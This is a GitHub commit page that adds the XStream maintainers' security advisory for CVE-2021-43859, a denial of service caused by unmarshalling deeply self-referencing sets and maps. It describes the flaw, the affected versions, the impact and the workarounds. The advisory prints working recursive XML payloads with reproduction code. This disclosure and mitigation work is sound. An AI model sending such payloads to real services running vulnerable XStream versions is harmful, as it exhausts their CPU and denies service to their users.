-
Notifications
You must be signed in to change notification settings - Fork 228
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
14 changed files
with
568 additions
and
21 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,199 @@ | ||
<html> | ||
<!-- | ||
Copyright (C) 2021 XStream committers. | ||
All rights reserved. | ||
The software in this package is published under the terms of the BSD | ||
style license a copy of which has been included with this distribution in | ||
the LICENSE.txt file. | ||
Created on 23. December 2021 by Joerg Schaible | ||
--> | ||
<head> | ||
<title>CVE-2021-43859</title> | ||
</head> | ||
<body> | ||
|
||
<h2 id="vulnerability">Vulnerability</h2> | ||
|
||
<p>CVE-2021-43859: XStream can cause a Denial of Service by injecting highly recursive collections or maps.</p> | ||
|
||
<h2 id="affected_versions">Affected Versions</h2> | ||
|
||
<p>All versions until and including version 1.4.18 are affected.</p> | ||
|
||
<h2 id="description">Description</h2> | ||
|
||
<p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects. | ||
XStream creates therefore new instances based on these type information. An attacker can manipulate the processed | ||
input stream and replace or inject objects, that result in exponential recursively hashcode calculation, causing a denial | ||
of service.</p> | ||
|
||
<h2 id="reproduction">Steps to Reproduce</h2> | ||
|
||
<p>The attack uses the hashcode implementation of collection types in the Java runtime. Following types are affected with | ||
lastest Java versions available in December 2021:</p> | ||
<ul> | ||
<li>java.util.HashMap</li> | ||
<li>java.util.HashSet</li> | ||
<li>java.util.Hashtable</li> | ||
<li>java.util.LinkedHashMap</li> | ||
<li>java.util.LinkedHashSet</li> | ||
<li>java.util.Stack (older Java revisions only)</li> | ||
<li>java.util.Vector (older Java revisions only)</li> | ||
<li>Other third party collection implementations that use their element's hash code may also be affected</li> | ||
</ul> | ||
<p>Create a simple HashSet and use XStream to marshal it to XML. Replace the XML with following snippet, increase the | ||
depth of the structure and unmarshal it with XStream:</p> | ||
<div class="Source XML"><pre><set> | ||
<set> | ||
<string>a</string> | ||
<set> | ||
<string>a</string> | ||
<set> | ||
<string>a</string> | ||
</set> | ||
<set> | ||
<string>b</string> | ||
</set> | ||
</set> | ||
<set> | ||
<set reference="../../set/set"/> | ||
<string>b</string> | ||
<set reference="../../set/set[2]"/> | ||
</set> | ||
</set> | ||
<set> | ||
<set reference="../../set/set"/> | ||
<string>b</string> | ||
<set reference="../../set/set[2]"/> | ||
</set> | ||
</set> | ||
</pre></div> | ||
<div class="Source Java"><pre>XStream xstream = new XStream(); | ||
xstream.fromXML(xml); | ||
</pre></div> | ||
<p>Create a simple HashMap and use XStream to marshal it to XML. Replace the XML with following snippet, increase the | ||
depth of the structure and unmarshal it with XStream:</p> | ||
<div class="Source XML"><pre><map> | ||
<entry> | ||
<map> | ||
<entry> | ||
<string>a</string> | ||
<string>b</string> | ||
</entry> | ||
<entry> | ||
<map> | ||
<entry> | ||
<string>a</string> | ||
<string>b</string> | ||
</entry> | ||
<entry> | ||
<map> | ||
<entry> | ||
<string>a</string> | ||
<string>b</string> | ||
</entry> | ||
</map> | ||
<map> | ||
<entry> | ||
<string>c</string> | ||
<string>d</string> | ||
</entry> | ||
</map> | ||
</entry> | ||
<entry> | ||
<map reference="../../entry[2]/map[2]"/> | ||
<map reference="../../entry[2]/map"/> | ||
</entry> | ||
</map> | ||
<map> | ||
<entry> | ||
<string>c</string> | ||
<string>d</string> | ||
</entry> | ||
<entry> | ||
<map reference="../../../entry[2]/map"/> | ||
<map reference="../../../entry[2]/map[2]"/> | ||
</entry> | ||
<entry> | ||
<map reference="../../../entry[2]/map[2]"/> | ||
<map reference="../../../entry[2]/map"/> | ||
</entry> | ||
</map> | ||
</entry> | ||
<entry> | ||
<map reference="../../entry[2]/map[2]"/> | ||
<map reference="../../entry[2]/map"/> | ||
</entry> | ||
</map> | ||
<map> | ||
<entry> | ||
<string>c</string> | ||
<string>d</string> | ||
</entry> | ||
<entry> | ||
<map reference="../../../entry[2]/map"/> | ||
<map reference="../../../entry[2]/map[2]"/> | ||
</entry> | ||
<entry> | ||
<map reference="../../../entry[2]/map[2]"/> | ||
<map reference="../../../entry[2]/map"/> | ||
</entry> | ||
</map> | ||
</entry> | ||
<entry> | ||
<map reference="../../entry[2]/map[2]"/> | ||
<map reference="../../entry[2]/map"/> | ||
</entry> | ||
</map> | ||
</pre></div> | ||
<div class="Source Java"><pre>XStream xstream = new XStream(); | ||
xstream.fromXML(xml); | ||
</pre></div> | ||
|
||
<p>As soon as the XML is unmarshalled, the hash codes of the elements are calculated and the calculation time increases | ||
exponentially due to the highly recursive structure.</p> | ||
|
||
<p>Note, this example uses XML, but the attack can be performed for any supported format, that supports references, i.e. | ||
JSON is not affected.</p> | ||
|
||
<h2 id="impact">Impact</h2> | ||
|
||
<p>The vulnerability may allow a remote attacker to allocate 100% CPU time on the target system depending on CPU | ||
type or parallel execution of such a payload resulting in a denial of service only by manipulating the processed | ||
input stream.</p> | ||
|
||
<h2 id="workarounds">Workarounds</h2> | ||
|
||
<p>If your object graph does not use referenced elements at all, you may simply set the NO_REFERENCE mode:</p> | ||
|
||
<div class="Source Java"><pre>XStream xstream = new XStream(); | ||
xstream.setMode(XStream.NO_REFERENCES); | ||
</pre></div> | ||
|
||
<p>If your object graph contains neither a Hashtable, HashMap nor a HashSet (or one of the linked variants of it) then you | ||
can use the security framework to deny the usage of these types:</p> | ||
|
||
<div class="Source Java"><pre>XStream xstream = new XStream(); | ||
xstream.denyTypes(new Class[]{ | ||
java.util.HashMap.class, java.util.HashSet.class, java.util.Hashtable.class, java.util.LinkedHashMap.class, java.util.LinkedHashSet.class | ||
}); | ||
</pre></div> | ||
|
||
<p>Unfortunately these types are very common. If you only use HashMap or HashSet and your XML refers these only as default | ||
map or set, you may additionally change the default implementation of java.util.Map and java.util.Set at unmarshalling time:</p> | ||
|
||
<div class="Source Java"><pre>xstream.addDefaultImplementation(java.util.TreeMap.class, java.util.Map.class); | ||
xstream.addDefaultImplementation(java.util.TreeSet.class, java.util.Set.class); | ||
</pre></div> | ||
|
||
<p>However, this implies that your application does not care about the implementation of the map and all elements are comparable.</p> | ||
|
||
<h2 id="credits">Credits</h2> | ||
|
||
<p>r00t4dm at Cloud-Penetrating Arrow Lab found and reported the issue to XStream and provided the required information to | ||
reproduce it.</p> | ||
|
||
</body> | ||
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.